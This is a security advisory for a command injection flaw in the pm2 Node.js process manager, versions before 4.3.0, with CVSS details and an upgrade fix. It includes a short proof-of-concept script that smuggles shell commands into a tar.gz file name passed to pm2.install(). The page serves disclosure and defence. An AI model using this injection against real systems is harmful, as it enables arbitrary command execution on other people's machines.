Command Injection

Affecting pm2 package, versions <4.3.0

Report new vulnerabilities
Do your applications use this vulnerable package? Test your applications

Overview

pm2 is a production process manager for Node.js applications with a built-in load balancer.

Affected versions of this package are vulnerable to Command Injection. It is possible to execute arbitrary commands within the pm2.import() function when tar.gz archive is installed with a name provided as user controlled input.

PoC by bl4de

// pm2_exploit.js

'use strict'
const pm2 = require('pm2')

// payload - user controllable input
const payload = "foo.tar.gz;touch here;echo whoami>here;chmod +x here;./here>whoamreallyare"

pm2.connect(function(err) {
    if (err) {
        console.error(err)
        process.exit(2)
    }

    pm2.start({

    }, (err, apps) => {
        pm2.install(payload, {}) // injection
        pm2.disconnect()
        if (err) {
            throw err
        }
    })
})

Remediation

Upgrade pm2 to version 4.3.0 or higher.

References

CVSS Score

6.4
medium severity
  • Attack Vector
    Local
  • Attack Complexity
    High
  • Privileges Required
    High
  • User Interaction
    None
  • Scope
    Unchanged
  • Confidentiality
    High
  • Integrity
    High
  • Availability
    High
CVSS:3.1/AV:L/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:H/E:P/RL:U/RC:C
Credit
bl4de
CWE
CWE-78
Snyk ID
SNYK-JS-PM2-474345
Disclosed
24 Oct, 2019
Published
25 Oct, 2019